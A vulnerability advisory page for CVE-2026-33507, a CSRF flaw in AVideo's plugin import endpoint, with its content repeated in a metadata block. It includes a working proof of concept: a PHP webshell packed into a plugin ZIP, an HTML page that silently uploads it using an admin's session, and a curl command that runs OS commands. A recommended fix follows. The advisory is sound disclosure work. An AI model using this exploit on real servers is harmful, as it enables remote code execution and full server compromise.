\n\n\n```\n\n**Step 3: Admin visits attacker's page while logged into AVideo over HTTPS**\n\nThe browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`.\n\n**Step 4: Attacker accesses the webshell**\n\n```bash\ncurl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.\n- **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation.\n- **No attacker account needed:** The attacker requires zero privileges on the target system — only that an admin visits a page they control.\n- **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect.\n\n## Recommended Fix\n\n**1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix):\n\n```php\n// After the isAdmin() check at line 18, add:\nif (!User::isAdmin()) {\n $obj->msg = \"You are not admin\";\n die(json_encode($obj));\n}\n\n// Add CSRF protection\nallowOrigin();\n\n// Also validate a CSRF token\nif (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {\n $obj->msg = \"Invalid CSRF token\";\n die(json_encode($obj));\n}\n```\n\n**2. Update the upload form in `view/managerPluginUpload.php`** to include the token:\n\n```html\n\n```\n\nAnd pass it in the JavaScript upload config:\n\n```javascript\n$('#input-b1').fileinput({\n uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',\n uploadExtraData: { globalToken: $('input[name=globalToken]').val() },\n // ...\n});\n```\n\n**3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.","inLanguage":"en","url":"https://vulnscope.dev/en/cve/CVE-2026-33507","author":{"@type":"Organization","name":"VulnScope","url":"https://vulnscope.dev"},"publisher":{"@type":"Organization","name":"VulnScope","url":"https://vulnscope.dev"},"about":{"@type":"Thing","name":"CVE-2026-33507","identifier":"CVE-2026-33507","additionalProperty":[{"@type":"PropertyValue","name":"CVSS","value":8.8},{"@type":"PropertyValue","name":"EPSS","value":0.00103},{"@type":"PropertyValue","name":"KEV","value":false}]}}

CVE-2026-33507

AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload

8.8

HIGH

CVSS 3.1

EPSS 0.10%

Description

## Summary The `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server. ## Details The root cause has two components working together: **1. SameSite=None on session cookies (`objects/include_config.php:134-137`):** ```php if ($isHTTPS) { ini_set('session.cookie_samesite', 'None'); ini_set('session.cookie_secure', '1'); } ``` This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance. **2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):** ```php if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } ``` The endpoint only checks `User::isAdmin()` via the session. There is: - No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent) - No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8) - No `Referer` or `Origin` header validation - No requirement for custom headers (e.g., `X-Requested-With`) The upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `<form enctype="multipart/form-data">` with a file input. **Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective. **Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection. ## PoC **Step 1: Create the malicious plugin ZIP** ```bash mkdir -p EvilPlugin # Main file — passes PluginAbstract validation cat > EvilPlugin/EvilPlugin.php << 'PLUG' <?php class EvilPlugin extends PluginAbstract { public function getTags() { return array(); } public function getDescription() { return "test"; } public function getName() { return "EvilPlugin"; } public function getUUID() { return "evil-0000-0000-0000"; } public function getPluginVersion() { return "1.0"; } public function getEmptyDataObject() { return new stdClass(); } } PLUG # Secondary file — webshell, NOT checked for PluginAbstract cat > EvilPlugin/cmd.php << 'SHELL' <?php if(isset($_GET['c'])) system($_GET['c']); ?> SHELL zip -r evil-plugin.zip EvilPlugin/ ``` **Step 2: Host the CSRF exploit page** ```html <!DOCTYPE html> <html> <body> <h1>Loading...</h1> <script> // Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php // In practice, the attacker would embed the base64-encoded ZIP bytes here async function exploit() { const zipResp = await fetch('evil-plugin.zip'); const zipBlob = await zipResp.blob(); const formData = new FormData(); formData.append('input-b1', zipBlob, 'evil-plugin.zip'); fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', { method: 'POST', body: formData, mode: 'no-cors', credentials: 'include' }); } exploit(); </script> </body> </html> ``` **Step 3: Admin visits attacker's page while logged into AVideo over HTTPS** The browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`. **Step 4: Attacker accesses the webshell** ```bash curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Impact - **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session. - **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - **No attacker account needed:** The attacker requires zero privileges on the target system — only that an admin visits a page they control. - **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect. ## Recommended Fix **1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix): ```php // After the isAdmin() check at line 18, add: if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } // Add CSRF protection allowOrigin(); // Also validate a CSRF token if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) { $obj->msg = "Invalid CSRF token"; die(json_encode($obj)); } ``` **2. Update the upload form in `view/managerPluginUpload.php`** to include the token: ```html <form enctype="multipart/form-data"> <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>"> <input id="input-b1" name="input-b1" type="file" class=""> </form> ``` And pass it in the JavaScript upload config: ```javascript $('#input-b1').fileinput({ uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php', uploadExtraData: { globalToken: $('input[name=globalToken]').val() }, // ... }); ``` **3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.

CVE-2026-33507

Description

How to fix CVE-2026-33507

Is CVE-2026-33507 being exploited?

Affected packages (1)

CVSS scores

References (4)